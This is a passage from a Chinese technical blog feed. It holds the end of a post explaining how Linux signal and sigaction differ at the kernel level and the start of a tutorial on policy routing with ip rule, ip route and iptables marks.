&lt;p&gt;![源码剖析signal和sigaction的区别&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%BA%90%E7%A0%81%E5%89%96%E6%9E%90signal%E5%92%8Csigaction%E7%9A%84%E5%8C%BA%E5%88%AB%5B%E9%80%9A%E4%BF%97%E6%98%93%E6%87%82%5D-%E8%85%BE%E8%AE%AF%E4%BA%91%E5%BC%80%E5%8F%91%E8%80%85%E7%A4%BE%E5%8C%BA-%E8%85%BE%E8%AE%AF%E4%BA%91&#x2F;assets&#x2F;1d19742a06550919041f6ce7fae64141-20240411134847-s2oren5.png&quot;&gt;通俗易懂]&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可以看出signal是调用rt_sigaction来实现的（上图红框所示），上面这两个图的主要区别是rt_sigaction函数第二个参数的标志位，不加-std=c99时为：SA_RESTORER|SA_RESTART，加-std=c99时为：SA_RESTORER|SA_INTERRUPT|SA_NODEFER|SA_RESETHAND，其中主要关注这两个标志：SA_NODEFER|SA_RESETHAND，SA_RESETHAND这个标志是导致实验一与实验二有区别的原因，SA_NODEFER是导致实验五和实验六有区别的原因，简单来说SA_RESETHAND就是用来恢复sa_handler的，SA_NODEFER是用来标志是否block信号的。&lt;&#x2F;p&gt;
&lt;p&gt;也来看看实验三的strace结果：&lt;&#x2F;p&gt;
&lt;p&gt;![源码剖析signal和sigaction的区别&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%BA%90%E7%A0%81%E5%89%96%E6%9E%90signal%E5%92%8Csigaction%E7%9A%84%E5%8C%BA%E5%88%AB%5B%E9%80%9A%E4%BF%97%E6%98%93%E6%87%82%5D-%E8%85%BE%E8%AE%AF%E4%BA%91%E5%BC%80%E5%8F%91%E8%80%85%E7%A4%BE%E5%8C%BA-%E8%85%BE%E8%AE%AF%E4%BA%91&#x2F;assets&#x2F;ff188923b763e41059f2e8f0afc82063-20240411134847-3d8fkr5.png&quot;&gt;通俗易懂]&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可以看出sigaction也是调用了rt_sigaction系统调用函数来实验的，它的标志没有SA_NODEFER|SA_RESETHAND，所以它处理信号时并没有恢复sa_handler，而且可以block信号。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;er-xin-hao-an-zhuang&quot;&gt;二、信号安装&lt;&#x2F;h4&gt;
&lt;p&gt;既然signal和sigaction最终都是调了系统调用rt_sigaction，那就得剖析一下rt_sigaction源码是怎么实现的了：&lt;&#x2F;p&gt;
&lt;p&gt;![源码剖析signal和sigaction的区别&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%BA%90%E7%A0%81%E5%89%96%E6%9E%90signal%E5%92%8Csigaction%E7%9A%84%E5%8C%BA%E5%88%AB%5B%E9%80%9A%E4%BF%97%E6%98%93%E6%87%82%5D-%E8%85%BE%E8%AE%AF%E4%BA%91%E5%BC%80%E5%8F%91%E8%80%85%E7%A4%BE%E5%8C%BA-%E8%85%BE%E8%AE%AF%E4%BA%91&#x2F;assets&#x2F;ff9b0986d164d1abc1a0147b6e9798ea-20240411134847-tw5ttvx.png&quot;&gt;通俗易懂]&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;![源码剖析signal和sigaction的区别&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%BA%90%E7%A0%81%E5%89%96%E6%9E%90signal%E5%92%8Csigaction%E7%9A%84%E5%8C%BA%E5%88%AB%5B%E9%80%9A%E4%BF%97%E6%98%93%E6%87%82%5D-%E8%85%BE%E8%AE%AF%E4%BA%91%E5%BC%80%E5%8F%91%E8%80%85%E7%A4%BE%E5%8C%BA-%E8%85%BE%E8%AE%AF%E4%BA%91&#x2F;assets&#x2F;7de46bed4701fa04ffb6c6695452829f-20240411134847-vcjgxar.png&quot;&gt;通俗易懂]&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;上面代码中，rt_sigaction主要是调用do_sigaction来安装信号，do_sigaction也是主要把老信号信息保存到oact然后在current-&amp;gt;sighand-&amp;gt;action中安装新信号信息（上面红框代码所示第3105行和第3110行）。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;    其实内核里也有signal系统调用函数，如下图所示，它注释里也说是为了向后兼容，功能已被sigaction取代了，不过可以看到第3531行中，它的默认标志是SA\_ONESHOT|SA\_NOMASK，其中SA\_ONESHOT就是SA\_RESETHAND（因为：#define SA\_ONESHOT SA\_RESETHAND），最后也是调用do\_sigaction来安装信号：
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;![源码剖析signal和sigaction的区别&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%BA%90%E7%A0%81%E5%89%96%E6%9E%90signal%E5%92%8Csigaction%E7%9A%84%E5%8C%BA%E5%88%AB%5B%E9%80%9A%E4%BF%97%E6%98%93%E6%87%82%5D-%E8%85%BE%E8%AE%AF%E4%BA%91%E5%BC%80%E5%8F%91%E8%80%85%E7%A4%BE%E5%8C%BA-%E8%85%BE%E8%AE%AF%E4%BA%91&#x2F;assets&#x2F;6ac474fe9bef228abb5b1a32efc3bff3-20240411134847-px2gmzw.png&quot;&gt;通俗易懂]&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;san-xin-hao-chu-li&quot;&gt;三、信号处理&lt;&#x2F;h4&gt;
&lt;p&gt;这里只讲一下与上面实验有关的关键函数。信号处理大体流程关键代码如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;void
ia64_do_signal (struct sigscratch *scr, long in_syscall)
{
	struct k_sigaction ka;
……
	while (1) {
		int signr = get_signal_to_deliver(&amp;amp;info, &amp;amp;ka, &amp;amp;scr-&amp;gt;pt, NULL);&amp;#x2F;&amp;#x2F;获取信号
……
		if (handle_signal(signr, &amp;amp;ka, &amp;amp;info, scr))&amp;#x2F;&amp;#x2F;处理信号
			return;
……
	}
……
｝
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中get_signal_to_deliver的关键代码是：&lt;&#x2F;p&gt;
&lt;p&gt;![源码剖析signal和sigaction的区别&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%BA%90%E7%A0%81%E5%89%96%E6%9E%90signal%E5%92%8Csigaction%E7%9A%84%E5%8C%BA%E5%88%AB%5B%E9%80%9A%E4%BF%97%E6%98%93%E6%87%82%5D-%E8%85%BE%E8%AE%AF%E4%BA%91%E5%BC%80%E5%8F%91%E8%80%85%E7%A4%BE%E5%8C%BA-%E8%85%BE%E8%AE%AF%E4%BA%91&#x2F;assets&#x2F;de84035447591acc92bc62544604b5e5-20240411134847-0apbza4.png&quot;&gt;通俗易懂]&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;第2263行是从current中获取当前进程被block的信号索引，然后第2274行从信号向量中获取信号的处理函数结构，第2279行到第2289行也比较明了，关键是第2285、2286行，如果标志打上SA_ONESHOT，那就将sa_handler恢复成SIG_DFL，这也是实验二第二次收到信号的时候就退出的原因。&lt;&#x2F;p&gt;
&lt;p&gt;再来看看handle_signal以及它调用的signal_delivered函数：&lt;&#x2F;p&gt;
&lt;p&gt;![源码剖析signal和sigaction的区别&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%BA%90%E7%A0%81%E5%89%96%E6%9E%90signal%E5%92%8Csigaction%E7%9A%84%E5%8C%BA%E5%88%AB%5B%E9%80%9A%E4%BF%97%E6%98%93%E6%87%82%5D-%E8%85%BE%E8%AE%AF%E4%BA%91%E5%BC%80%E5%8F%91%E8%80%85%E7%A4%BE%E5%8C%BA-%E8%85%BE%E8%AE%AF%E4%BA%91&#x2F;assets&#x2F;38d772f544878da6da18974dcc88813d-20240411134847-ketxkss.png&quot;&gt;通俗易懂]&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;![源码剖析signal和sigaction的区别&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%BA%90%E7%A0%81%E5%89%96%E6%9E%90signal%E5%92%8Csigaction%E7%9A%84%E5%8C%BA%E5%88%AB%5B%E9%80%9A%E4%BF%97%E6%98%93%E6%87%82%5D-%E8%85%BE%E8%AE%AF%E4%BA%91%E5%BC%80%E5%8F%91%E8%80%85%E7%A4%BE%E5%8C%BA-%E8%85%BE%E8%AE%AF%E4%BA%91&#x2F;assets&#x2F;2d1cfd9ed4614f508f64796004c29778-20240411134847-4hi6k39.png&quot;&gt;通俗易懂]&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;handle_signal主要是调用setup_frame为信号处理函数准备执行环境和调用signal_delivered来更新blocked信号。从第2402行可以看出如果sa_flags没有打上SA_NODEFER标志则把这个信号添加到blocked信号向量中。这就是实验六没有block信号的原因。&lt;&#x2F;p&gt;
&lt;p&gt;最后，至于在应用程序中调用signal为什么到内核就变成了rt_sigaction了呢，也大概说一下吧：&lt;&#x2F;p&gt;
&lt;p&gt;反汇编一下实验一和实验二的二进制程序（dis是我写的一个反汇编程序指定函数的shell命令，可以在我之前博客中找到），可以发现它们分别调了signal和__sysv_signal这两个函数，这两个函数应该是glibc里面的。grep一下就找到了它们的源码了：&lt;&#x2F;p&gt;
&lt;p&gt;![源码剖析signal和sigaction的区别&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%BA%90%E7%A0%81%E5%89%96%E6%9E%90signal%E5%92%8Csigaction%E7%9A%84%E5%8C%BA%E5%88%AB%5B%E9%80%9A%E4%BF%97%E6%98%93%E6%87%82%5D-%E8%85%BE%E8%AE%AF%E4%BA%91%E5%BC%80%E5%8F%91%E8%80%85%E7%A4%BE%E5%8C%BA-%E8%85%BE%E8%AE%AF%E4%BA%91&#x2F;assets&#x2F;abe3fd1f245f145694ae3f2777360558-20240411134847-6ofjtyb.png&quot;&gt;通俗易懂]&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;![源码剖析signal和sigaction的区别&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%BA%90%E7%A0%81%E5%89%96%E6%9E%90signal%E5%92%8Csigaction%E7%9A%84%E5%8C%BA%E5%88%AB%5B%E9%80%9A%E4%BF%97%E6%98%93%E6%87%82%5D-%E8%85%BE%E8%AE%AF%E4%BA%91%E5%BC%80%E5%8F%91%E8%80%85%E7%A4%BE%E5%8C%BA-%E8%85%BE%E8%AE%AF%E4%BA%91&#x2F;assets&#x2F;ff0c0c0f9961eb3b8c4c5047a98c7402-20240411134847-zf68ych.png&quot;&gt;通俗易懂]&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;![源码剖析signal和sigaction的区别&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%BA%90%E7%A0%81%E5%89%96%E6%9E%90signal%E5%92%8Csigaction%E7%9A%84%E5%8C%BA%E5%88%AB%5B%E9%80%9A%E4%BF%97%E6%98%93%E6%87%82%5D-%E8%85%BE%E8%AE%AF%E4%BA%91%E5%BC%80%E5%8F%91%E8%80%85%E7%A4%BE%E5%8C%BA-%E8%85%BE%E8%AE%AF%E4%BA%91&#x2F;assets&#x2F;1504a79f58399a5bacbd65cd1f8fc6f5-20240411134847-a3k6mv5.png&quot;&gt;通俗易懂]&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Linux系列—策略路由、ip rule、ip route - wanstack</title>
        <published>2024-04-09T00:00:00+00:00</published>
        <updated>2024-04-09T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/linux系列-策略路由、ip-rule、ip-route-wanstack/"/>
        <id>https://vercel.juzhong.asia/obsidian/linux系列-策略路由、ip-rule、ip-route-wanstack/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/linux系列-策略路由、ip-rule、ip-route-wanstack/">&lt;h1 id=&quot;linuxxi-lie-ce-lue-lu-you-ip-rule-ip-route-wanstack&quot;&gt;Linux系列—策略路由、ip rule、ip route - wanstack&lt;&#x2F;h1&gt;
&lt;p&gt;早期在管理Linux系统的网络时，常使用ifconfig及route之类的命令，不过如果你准备开始使用Linux强大的基于策略的路由机制，那么，就请不要使用这类工具了，因为这类工具根本无法用于功能强大的基于策略的路由机制，取而代之的工具是&lt;strong&gt;iproute&lt;&#x2F;strong&gt;。iproute这个软件在RedHat系列的Linux系统中是默认安装的，因此，你通常可以找到这个工具。如果真因为某些原因找不到这个软件，只要在使用Fedora或CentOS Linux时，在联网的情况下，用yum install iproute命令即可顺利安装；或者也可以使用ip -V命令来检查iproute软件是否已经安装，再次请注意，-V参数为大写的英语字母：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@localhost &amp;#x2F;]# ip -V
ip utility, iproute2-ss091226
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;yi-guan-li-ce-lue-shu-ju-ku&quot;&gt;&lt;strong&gt;一、管理策略数据库&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;在Linux下，基于策略路由的策略数据库是由ip命令来管理的，下面讨论“管理”的几个方面：&lt;&#x2F;p&gt;
&lt;h4 id=&quot;1-cha-kan-ce-lue-shu-ju-ku&quot;&gt;&lt;strong&gt;1、查看策略数据库&lt;&#x2F;strong&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;要查看策略数据库的内容，可以使用ip rule show命令，或者可以使用ip rule ls。如下是命令执行后所得到的输出结果，在这些数据中，可以看到系统的三条默认规则，而这三条规则默认分别对应于local、mail及default三个路由表。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@localhost &amp;#x2F;]# ip rule show
0: from all lookup local
32766: from all lookup main
32767: from all lookup default
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;2-tian-jia-gui-ze&quot;&gt;&lt;strong&gt;2、添加规则&lt;&#x2F;strong&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;在添加规则时，必须先确定好“条件”、“优先级别”及“路由表ID”，此后才可以执行添加规则的操作。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;条件&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;条件是用来决定哪类数据包可以符合这项规则，而可用来匹配的字段为Source IP、Destination IP、Type of Service、fwmark及dev等，这些字段的使用方式如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Source IP&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;根据来源端IP来决定数据包参考哪个路由表发送出去。以下两个示例分别指出，如果数据包的来源端IP是192.168.1.10，就参考路由表10；如果来源端IP为192.168.2.0&#x2F;24网段的IP，就参考路由表20。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ip rule add from 192.168.1.10 table 10
ip rule add from 192.168.2.0&amp;#x2F;24 table 20
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;Destination IP&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;根据目的端IP来决定数据包参考哪个路由表发送出去。以下两个示例分别指出，如果数据包的目的端IP是168.95.1.1，就参考路由表10；如果目的端IP是168.95.0.0&#x2F;24网段的IP，就参考路由表20。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ip rule add to 168.95.1.1 table 10
ip rule add to 168.96.0.0&amp;#x2F;24 table 20
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;fwmark&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;将fwmark作为匹配条件时，必须搭配Netfilter一起使用， 这看起来很麻烦， 却是最灵活的匹配条件。如图10-8所示，某公司对外有三条ADSL，我们希望所有HT T P 协议经由第一条ADS L ，SMTP及POP3经由第二条ADSL，其余流量则经由第三条ADSL。可以使用如下的命令组合来达到这样的目的：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-policy-routing&#x2F;policy-routing-multi-adsl.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;iptables -t mangle -A FORWARD -i eth3 -p tcp --dport 80 -j MARK --set-mark 1
iptables -t mangle -A FORWARD -i eth3 -p tcp --dport 25 -j MARK --set-mark 2
iptables -t mangle -A FORWARD -i eth3 -p tcp --dport 110 -j MARK --set-mark 2
iptables -t mangle -A FORWARD -i eth3 -j MARK --set-mark 3
ip rule add fwmark 1 table 1
ip rule add fwmark 2 table 2
ip rule add fwmark 3 table 3
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;首先使用Netfilter的managle机制针对特定的数据包设置MARK值，在此将HTTP数据包的MARK值设置为1，SMTP及POP3数据包的MARK值设置为2，其余数据包则设置MARK值为3。接着，再根据fwmark条件来判断数据包的MARK值，如果MARK值为1，则参考路由表1将数据包送出；MAKR值为2时，则参考路由表2将数据包送出；最后，MARK值为3的数据包则参考路由表3送出。&lt;&#x2F;p&gt;
&lt;p&gt;以上示例只是一个概念而已，如果真要完整体现出这个示例的所有功能，还需要注意许多细节，稍后将使用详细的示例讲解这部分内容，在此只要首先了解fwmark与Netfilter结合使用的概念即可。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;dev&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;最后，还可以使用数据包输入的接口来作为判断依据，如图10-9所示，我们希望凡是由eth2接口送入的数据包都由eth0接口转发出去，由eth3接口送入的数据包都由eth1接口转发出去。以下命令组合将能满足我们的要求：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ip rule add dev eth2 table 1
ip rule add dev eth3 table 3
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-policy-routing&#x2F;ip-rule-dev-match.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;3-you-xian-ji-bie&quot;&gt;&lt;strong&gt;3、优先级别&lt;&#x2F;strong&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;前面介绍了规则中“条件”的使用方式，接下来要讨论的是优先级别。优先级别用数字来表示，其范围可由0～4亿多，堪称天文数字，我们实际上不可能在一台PC上设置如此庞大的路由机制。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@localhost ~]# ip rule show
0: from all lookup local
32766: from all lookup main
32767: from all lookup default
[root@localhost ~]#
[root@localhost ~]# ip rule add from 192.168.1.0&amp;#x2F;24 table 1
[root@localhost ~]# ip rule add from 192.168.2.0&amp;#x2F;24 table 2
[root@localhost ~]#
[root@localhost ~]# ip rule show
0: from all lookup local
32764: from 192.168.2.0&amp;#x2F;24 lookup 2
32765: from 192.168.1.0&amp;#x2F;24 lookup 1
32766: from all lookup main
32767: from all lookup default
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如以上示例，我们执行ip rule show命令所显示内容的第一个字段就是优先级别，数字越小，代表优先级别越高，也代表这条规则可以排得越靠前，如此数据包在进行条件匹配时，就会越早匹配到这条规则，从输出的数据中，默认优先级别0、32766及32767已被占用，因此，在添加规则时，如果没有特别设置优先级别，那么，优先级别默认会从32766开始递减，如32765、32764……，如果我们需要特别设置优先级别，可以在ip rule add命令的最后加上prio XXX参数。如下例所示：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@localhost ~]# ip rule show
0: from all lookup local
32766: from all lookup main
32767: from all lookup default
[root@localhost ~]#
[root@localhost ~]# ip rule add from 192.168.1.0&amp;#x2F;24 table 1 prio 10
[root@localhost ~]# ip rule add from 192.168.2.0&amp;#x2F;24 table 2 prio 20
[root@localhost ~]#
[root@localhost ~]# ip rule show
0: from all lookup local
10: from 192.168.1.0&amp;#x2F;24 lookup 1
20: from 192.168.2.0&amp;#x2F;24 lookup 2
32766: from all lookup main
32767: from all lookup default
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;路由表ID&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在Linux的基于策略的路由中，路由表用ID来表示，但如有必要，还可以用ID与名称对照表将ID转换成名称。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;4-shan-chu-gui-ze&quot;&gt;&lt;strong&gt;4、删除规则&lt;&#x2F;strong&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;ip命令提供的删除规则的方式十分灵活，例如，要删除下列第2条规则，可以分别使用“优先级别”、“条件”及“路由表”当中任何一个唯一的值来设置所需删除的规则，如下：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ip rule del prio 10
ip rule del from 192.168.1.0&amp;#x2F;24
ip rule del table 1
ip rule del from 192.168.1.0&amp;#x2F;24 table 1 prio 10
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;[root@localhost ~]# ip rule show
0: from all lookup local
10: from 192.168.1.0&amp;#x2F;24 lookup 1
20: from 192.168.2.0&amp;#x2F;24 lookup 2
32766: from all lookup main
32767: from all lookup default
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;er-lu-you-biao-guan-li&quot;&gt;&lt;strong&gt;二、路由表管理&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;由于route -n命令已经完全不适合在基于策略的路由使用，因此，&lt;strong&gt;route命令仅能操作一个特定的路由表，但在基于策略的路由中，会同时存在多个路由表，请放弃这个路由管理工具，取而代之的依然是ip命令&lt;&#x2F;strong&gt;。接下来将讨论如何使用ip命令来管理路由表。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;1-cha-kan-lu-you-biao-nei-rong&quot;&gt;&lt;strong&gt;1、查看路由表内容&lt;&#x2F;strong&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;在查看路由表之前，首先使用ip rule show命令来查看目前使用了哪些路由表，接着，再使用ip route show [table id | name]命令来查看路由表的内容。例如，可以使用ip route showtable main来查看路由表main的内容，如果省略路由表名称(如ip route show)，会默认地查看路由表main的内容。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@localhost &amp;#x2F;]# ip rule show
0: from all lookup local
32766: from all lookup main
32767: from all lookup default
[root@localhost &amp;#x2F;]#
[root@localhost &amp;#x2F;]# ip route show table main
10.10.15.0&amp;#x2F;25 dev eth0 proto kernel scope link src 10.10.15.46
192.168.1.0&amp;#x2F;24 dev eth1 proto kernel scope link src 192.168.1.10
default via 10.10.15.1 dev eth0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在默认情况下，系统有三个路由表，这三个路由表的功能如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;local&lt;&#x2F;strong&gt;：路由表local包含本机路由及广播信息。例如，在本机上执行ssh 127.0.0.1时，就会参考这份路由表的内容，在正常情况下，只要配置好网卡的网络设置，就会自动生成local路由表的内容，我们应该也不必修改其内容。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;main&lt;&#x2F;strong&gt;：使用传统命令route -n所看到的路由表就是main的内容。Linux系统在默认情况下使用这份路由表的内容来传输数据包，因此，其内容极为重要，在正常情况下，只要配置好网卡的网络设置，就会自动生成main路由表的内容。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;default&lt;&#x2F;strong&gt;：最后是default路由表，这个路由表在默认情况下内容为空；除非有特别的要求，否则保持其内容为空即可。&lt;&#x2F;p&gt;
&lt;p&gt;在此使用路由表main的内容进行解释，以下是图10-10路由表main的内容，因为在主机上有eth0及eth1两块网卡，且为其设置的IP分别是10.10.15.46&#x2F;25及192.168.1.10&#x2F;24，因此，路由表内的第.行即是告诉系统，如果有数据包要送到10.10.15.0&#x2F;25这个网段，就直接将数据包由eth0接口送出即可，而本机临近这个网段的IP是10.10.15.46，第.行则是设置到192.168.1.0&#x2F;24的路由，其含义与第.行完全相同；以上这两行是只要将计算机网卡上的IP设置好，并在网络服务重启之后，默认就会生成的路由，无需特别的设置。最后一行.则指：如果数据包不是送往10.10.15.0&#x2F;25及192.168.1.0&#x2F;24网段，那么数据包将统一转发给10.10.15.1主机去处理，而10.10.15.1就是我们在网络配置中所设置的“默认网关”。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@localhost &amp;#x2F;]# ip route show table main
10.10.15.0&amp;#x2F;25 dev eth0 proto kernel scope link src 10.10.15.46
192.168.1.0&amp;#x2F;24 dev eth1 proto kernel scope link src 192.168.1.10
default via 10.10.15.1 dev eth0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;2-tian-jia-lu-you&quot;&gt;&lt;strong&gt;2、添加路由&lt;&#x2F;strong&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;添加路由在此还是一样采用ip命令而不是route命令，下例首先使用ip route show.命令显示路由表main的内容，接着再使用ip route add命令将所需的路由添加到路由表main中.，最后再次使用ip route show命令将路由表main的内容打印出来，此时就可以在路由表main之中看到刚才添加的路由了。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@localhost &amp;#x2F;]# ip route show table main
10.10.15.0&amp;#x2F;25 dev eth0 proto kernel scope link src 10.10.15.46
192.168.1.0&amp;#x2F;24 dev eth1 proto kernel scope link src 192.168.1.10
default via 10.10.15.1 dev eth0
[root@localhost &amp;#x2F;]#
[root@localhost &amp;#x2F;]# ip route add 192.168.2.0&amp;#x2F;24 via 10.10.15.50 table main
[root@localhost &amp;#x2F;]#
[root@localhost &amp;#x2F;]# ip route show table main
10.10.15.0&amp;#x2F;25 dev eth0 proto kernel scope link src 10.10.15.46
192.168.2.0&amp;#x2F;24 via 10.10.15.50 dev eth0
192.168.1.0&amp;#x2F;24 dev eth1 proto kernel scope link src 192.168.1.10
default via 10.10.15.1 dev eth0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果要添加的路由并未出现在现有的路由表中，又该如何处理呢？在此请先有一个概念，单纯添加路由表并无意义，因为新增出来的路由表，系统默认是不会去使用的，如果要将路由添加到main以外的路由表，只有先添加“规则”才能确定新的路由表名称(Table ID)，有了新的路由表之后，才会把路由添加到新的路由表中。&lt;&#x2F;p&gt;
&lt;p&gt;我们使用下列示例来说明这个过程。首先使用ip rule show.来查询RPDB的当前状态，可以看到目前只有三条默认规则，接着，再使用ip rule add命令来添加一条规则.，此时系统内就多了一个有用的路由表，其路由表ID为10，我们可以立即使用ip route show命令来查看这个新的路由表.，其内容默认为空，接着可以在这个新路由表中添加路由，在此使用iproute add命令来添加路由，我们决定凡是来自于192.168.2.0&#x2F;24网段的数据包，都从eth1接口将数据包送离本机，因此，必须完整编写eth1接口的路由。首先将临近eth1接口的路由填入.，告诉系统本机与192.168.1.0&#x2F;24网段的通信都通过eth1接口来处理，接着填入这个路由表的默认路由.，最后使用ip route show命令显示路由表10的内容。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@localhost ~]# ip rule show
0: from all lookup local
32766: from all lookup main
32767: from all lookup default
[root@localhost ~]#
[root@localhost ~]# ip rule add from 192.168.2.0&amp;#x2F;24 table 10
[root@localhost ~]#
[root@localhost ~]# ip route show table 10
[root@localhost ~]#
[root@localhost ~]# ip route add 192.168.1.0&amp;#x2F;24 dev eth1 table 10
[root@localhost ~]# ip route add default via 192.168.1.254 table 10
[root@localhost ~]#
[root@localhost ~]# ip route show table 10
192.168.1.0&amp;#x2F;24 dev eth1 scope link
default via 192.168.1.254 dev eth1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;3-shan-chu-lu-you&quot;&gt;&lt;strong&gt;3、删除路由&lt;&#x2F;strong&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;可以使用ip命令来方便地删除路由，我们使用以下示例来说明如何删除路由。首先将路由表10的内容显示出来.，可以看到路由表10中当前有两条路由，接着使用ip route del命令删除默认路由.，在此别忘了指定我们所要删除的是路由表10，否则默认会删除路由表main的默认路由，接着再使用ip route show 命令查看路由表10.，此时路由表10的默认路由已经不存在了，再次使用ip route del命令删除192.168.122.0&#x2F;24的路由.，最后可以看到路由表10中已经没有任何路由了。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@localhost ~]# ip route show table 10
192.168.1.0&amp;#x2F;24 dev virbr0 scope link
default via 192.168.1.254 dev eth1
[root@localhost ~]#
[root@localhost ~]# ip route del default table 10
[root@localhost ~]#
[root@localhost ~]# ip route show table 10
192.168.1.0&amp;#x2F;24 dev virbr0 scope link
[root@localhost ~]#
[root@localhost ~]# ip route del 192.168.1.0&amp;#x2F;24 table 10
[root@localhost ~]#
[root@localhost ~]# ip route show table 10
